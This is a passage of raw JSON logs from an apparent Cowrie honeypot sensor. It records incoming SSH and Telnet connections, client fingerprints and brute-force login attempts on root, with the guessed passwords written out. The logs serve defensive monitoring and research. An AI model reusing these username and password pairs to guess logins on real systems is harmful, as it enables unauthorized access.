192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.416395Z","src_ip":"207.56.225.202","session":"dbd1dd8bb864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1998","message":"login attempt [root/dima1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.709507Z","src_ip":"37.233.85.71","session":"ad0b66f90ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"usermagic","message":"login attempt [root/usermagic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:19.020312Z","src_ip":"74.243.239.219","session":"3acd80258c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!w2e3r4t5y6","message":"login attempt [root/Q!w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:19.102844Z","src_ip":"207.56.225.202","session":"dbd1dd8bb864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:19.812596Z","src_ip":"37.233.85.71","session":"ad0b66f90ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:20.191697Z","src_ip":"74.243.239.219","session":"3acd80258c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:20.269572Z","src_ip":"207.56.225.202","session":"dbd1dd8bb864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":58438,"dst_ip":"10.17.0.5","dst_port":22,"session":"47fac52f7d94","protocol":"ssh","message":"New connection: 35.225.56.202:58438 (10.17.0.5:22) [session: 47fac52f7d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:21.954463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:21.959709Z","src_ip":"35.225.56.202","session":"47fac52f7d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:21.996281Z","src_ip":"35.225.56.202","session":"47fac52f7d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedcrfvtgb123321","message":"login attempt [root/qazwsxedcrfvtgb123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:22.174044Z","src_ip":"35.225.56.202","session":"47fac52f7d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:23.217216Z","src_ip":"35.225.56.202","session":"47fac52f7d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44718,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca40d3389268","protocol":"telnet","message":"New connection: 192.119.13.58:44718 (10.17.0.5:23) [session: ca40d3389268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:24.979913Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":33826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9b79e6a63f0","protocol":"ssh","message":"New connection: 193.233.48.169:33826 (10.17.0.5:22) [session: e9b79e6a63f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:25.131075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:25.136376Z","src_ip":"193.233.48.169","session":"e9b79e6a63f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:25.258298Z","src_ip":"193.233.48.169","session":"e9b79e6a63f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dnflskfk","message":"login attempt [root/dnflskfk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:25.778754Z","src_ip":"193.233.48.169","session":"e9b79e6a63f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50790,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb29116fb182","protocol":"telnet","message":"New connection: 192.119.13.58:50790 (10.17.0.5:23) [session: eb29116fb182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:26.583702Z"}
{"eventid":"cowrie.session.closed","duration":31.863574743270874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:26.768755Z","src_ip":"192.119.13.58","session":"9210bc576d8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:26.903291Z","src_ip":"193.233.48.169","session":"e9b79e6a63f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55224,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba1142c2ab08","protocol":"telnet","message":"New connection: 192.119.13.58:55224 (10.17.0.5:23) [session: ba1142c2ab08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:27.758478Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34444,"dst_ip":"10.17.0.5","dst_port":23,"session":"21f70a4689b5","protocol":"telnet","message":"New connection: 192.119.13.58:34444 (10.17.0.5:23) [session: 21f70a4689b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:29.713971Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":56726,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ff7f0d201aa","protocol":"ssh","message":"New connection: 92.207.4.157:56726 (159.203.135.109:22) [session: 9ff7f0d201aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:32.614496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:32.619974Z","src_ip":"92.207.4.157","session":"9ff7f0d201aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:32.727029Z","src_ip":"92.207.4.157","session":"9ff7f0d201aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilson","message":"login attempt [root/wilson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:33.179351Z","src_ip":"92.207.4.157","session":"9ff7f0d201aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:34.289418Z","src_ip":"92.207.4.157","session":"9ff7f0d201aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35836,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec611cddbd9b","protocol":"telnet","message":"New connection: 192.119.13.58:35836 (10.17.0.5:23) [session: ec611cddbd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:37.513333Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40270,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3c20da77c7","protocol":"telnet","message":"New connection: 192.119.13.58:40270 (10.17.0.5:23) [session: 8b3c20da77c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:38.636246Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":36968,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f067bccde5","protocol":"ssh","message":"New connection: 43.153.7.148:36968 (159.203.135.109:22) [session: 45f067bccde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:39.124199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:40.614630Z","src_ip":"43.153.7.148","session":"45f067bccde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:40.679098Z","src_ip":"43.153.7.148","session":"45f067bccde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49056,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cba8eb6837f","protocol":"telnet","message":"New connection: 192.119.13.58:49056 (10.17.0.5:23) [session: 4cba8eb6837f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:40.867453Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456789","message":"login attempt [root/abc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:40.999396Z","src_ip":"43.153.7.148","session":"45f067bccde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":16716,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab05bf67ed9d","protocol":"ssh","message":"New connection: 186.122.177.140:16716 (10.17.0.5:22) [session: ab05bf67ed9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:41.706188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:41.727371Z","src_ip":"186.122.177.140","session":"ab05bf67ed9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:41.900481Z","src_ip":"186.122.177.140","session":"ab05bf67ed9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:42.070884Z","src_ip":"43.153.7.148","session":"45f067bccde5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:42.772859Z","src_ip":"186.122.177.140","session":"ab05bf67ed9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:43.953557Z","src_ip":"186.122.177.140","session":"ab05bf67ed9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":43654,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0a12824de29","protocol":"ssh","message":"New connection: 5.181.124.9:43654 (159.203.135.109:22) [session: e0a12824de29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:43.963798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:44.077988Z","src_ip":"5.181.124.9","session":"e0a12824de29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:44.161852Z","src_ip":"5.181.124.9","session":"e0a12824de29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42670,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad6d8d0f8fa2","protocol":"telnet","message":"New connection: 192.119.13.58:42670 (10.17.0.5:23) [session: ad6d8d0f8fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:46.307070Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58980,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a8d4201e4a","protocol":"telnet","message":"New connection: 192.119.13.58:58980 (10.17.0.5:23) [session: b5a8d4201e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:50.570355Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"sammy123","message":"login attempt [root/sammy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:50.770925Z","src_ip":"5.181.124.9","session":"e0a12824de29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37694,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b3599532267","protocol":"ssh","message":"New connection: 37.143.61.84:37694 (159.203.135.109:22) [session: 2b3599532267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:52.592440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:52.601955Z","src_ip":"37.143.61.84","session":"2b3599532267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:52.688524Z","src_ip":"37.143.61.84","session":"2b3599532267","protocol":"ssh"}
